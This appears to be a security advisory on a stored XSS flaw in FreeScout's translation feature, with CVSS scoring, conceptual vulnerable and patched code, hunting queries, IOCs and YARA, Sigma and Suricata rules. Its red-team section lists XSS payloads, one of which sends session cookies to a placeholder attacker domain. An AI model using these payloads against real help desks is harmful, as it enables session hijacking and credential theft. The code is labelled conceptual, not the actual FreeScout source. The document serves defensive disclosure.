CVE-2025-48487

Executive Summary

CVE-2025-48487 is a stored Cross-Site Scripting (XSS) vulnerability in FreeScout, a self-hosted help desk and shared mailbox application. The vulnerability exists in the translation creation feature, specifically when a user creates a translation for a phrase that appears in a flash message after a completed action. An authenticated attacker with translation privileges can inject malicious JavaScript payloads into the translation field. When another user triggers the corresponding action and sees the flash message, the payload executes in their browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability is patched in version 1.8.180.

Supply Chain & Package Security

FreeScout is a PHP application distributed via GitHub and Docker. The vulnerability is in the core application code, not in a third-party package. Users should update their FreeScout instance to the latest version. Docker users should pull the latest image.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - An attacker needs a valid user account with translation permissions.
• User Interaction (UI): Required (R) - The victim must view the flash message containing the malicious translation.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited modification of data is possible.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. Exploitation requires authentication and user interaction, but the impact can be significant in a multi-tenant help desk environment.

Deep Dive & Mechanics

The vulnerability resides in the translation management functionality of FreeScout. When an administrator or user with translation privileges creates a new translation for a phrase, the input is not properly sanitized before being stored and later rendered in a flash message.

Root Cause: The application fails to escape or sanitize user-supplied input in the translation value field. When a flash message is generated (e.g., "Ticket created successfully"), the translated phrase is retrieved from the database and rendered directly into the HTML without proper output encoding.

Attack Flow:

1. An attacker with translation privileges navigates to the translation management interface.
2. The attacker creates a new translation for a phrase that appears in a flash message (e.g., "Ticket created").
3. The attacker injects a malicious JavaScript payload as the translation value, such as <img src=x onerror=alert(document.cookie)>.
4. The payload is stored in the database.
5. When another user performs an action that triggers the flash message (e.g., creating a ticket), the malicious translation is loaded and executed in their browser.

Why Flash Messages are Vulnerable: Flash messages are typically displayed immediately after an action and are often rendered using server-side includes or template engines that do not automatically escape HTML. In FreeScout, the translation function likely uses a raw output method (e.g., echo $translation; instead of echo htmlspecialchars($translation);).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In a translation helper function
function getTranslation($phrase) {
    $translation = DB::query("SELECT translation FROM translations WHERE phrase = ?", [$phrase]);
    return $translation; // No sanitization
}

// In a controller that displays flash messages
$message = getTranslation('ticket_created');
echo "<div class='flash-message'>$message</div>"; // Direct output

Patched Code (Conceptual):

// In a translation helper function
function getTranslation($phrase) {
    $translation = DB::query("SELECT translation FROM translations WHERE phrase = ?", [$phrase]);
    return htmlspecialchars($translation, ENT_QUOTES, 'UTF-8'); // Sanitized
}

// In a controller that displays flash messages
$message = getTranslation('ticket_created');
echo "<div class='flash-message'>$message</div>"; // Now safe

The patch in version 1.8.180 adds proper HTML entity encoding to the translation output, preventing the execution of injected scripts.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user account with translation permissions on a FreeScout instance (version < 1.8.180).
• Access to the translation management interface (typically at /translations).

Exploitation Steps:

1. Log in to FreeScout with the attacker account.
2. Navigate to the translation management section.
3. Find a phrase that appears in a flash message after a common action (e.g., "Ticket created", "Email sent").
4. Create a new translation for that phrase with a malicious payload. Example payloads:
   • <script>alert('XSS')</script>
   • <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
   • <svg onload=eval(atob('base64encodedpayload'))>
5. Save the translation.
6. Wait for another user (e.g., an agent or admin) to perform the action that triggers the flash message.
7. The payload executes in the victim's browser.

Note: No public exploit code is available for this CVE at the time of analysis.

Blue Team

Detection:

• Monitor for unusual translation creation or modification events.
• Look for translation values containing HTML tags or JavaScript code.
• Use the detection rules provided in the Detection Engineering section.

Hunting:

• Query the database for translations containing suspicious patterns:

  SELECT * FROM translations WHERE translation LIKE '%<script%' OR translation LIKE '%onerror%' OR translation LIKE '%onload%';
  

• Review web server logs for requests to /translations with POST data containing HTML/JavaScript.

Prevention:

• Apply the patch by upgrading to FreeScout version 1.8.180 or later.
• Implement a Web Application Firewall (WAF) rule to block malicious input in translation fields.
• Restrict translation permissions to trusted administrators only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains from the FreeScout server.
  • Unusual Referer headers pointing to translation management pages.

• File System IOCs:

  • Modified translation files in the storage/lang directory (if file-based translations are used).
  • Suspicious entries in the database translations table.

• Log IOCs:

  • Web server logs showing POST requests to /translations with payloads containing <script>, <img, or <svg tags.
  • Application logs showing translation creation events by unexpected users.

• Behavioral IOCs:

  • Users reporting unexpected pop-ups or redirects after performing actions in FreeScout.
  • Unusual JavaScript execution in the browser console.

Detection Engineering

YARA Rule

rule CVE_2025_48487_FreeScout_XSS {
    meta:
        description = "Detects malicious translation payloads for CVE-2025-48487"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-48487"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /<img[^>]*onerror\s*=[^>]*>/is
        $xss3 = /<svg[^>]*onload\s*=[^>]*>/is
        $xss4 = /onmouseover\s*=[^>]*>/is
        $xss5 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: FreeScout Translation XSS Payload Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to inject XSS payloads into FreeScout translation fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/translations'
        cs-uri-query|contains: 
            - '<script'
            - '<img'
            - '<svg'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in translations (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48487 FreeScout Translation XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/translations"; http_uri; content:"<script"; nocase; http_client_body; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48487 FreeScout Translation XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/translations"; http_uri; content:"<img"; nocase; http_client_body; sid:1000002; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48487 FreeScout Translation XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/translations"; http_uri; content:"<svg"; nocase; http_client_body; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade FreeScout to version 1.8.180 or later. This is the only complete fix.
2. Review and sanitize existing translations in the database. Run a query to find and remove any suspicious entries.
3. Restrict translation permissions to only trusted administrators.

Compensating Controls (if patching is delayed):

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads in POST requests to /translations.
• Use Content Security Policy (CSP) headers to mitigate the impact of XSS:

  Header set Content-Security-Policy "default-src 'self'; script-src 'self';"
  

• Enable HTTP-only and Secure flags on session cookies.
• Conduct a security audit of all user accounts with translation privileges.

Long-Term Recommendations:

• Implement input validation and output encoding for all user-supplied data.
• Use a template engine that automatically escapes output (e.g., Twig with auto-escaping).
• Regularly update FreeScout and all dependencies.
• Perform periodic security assessments and penetration testing.

Valters IT
Securing Digital Frontiers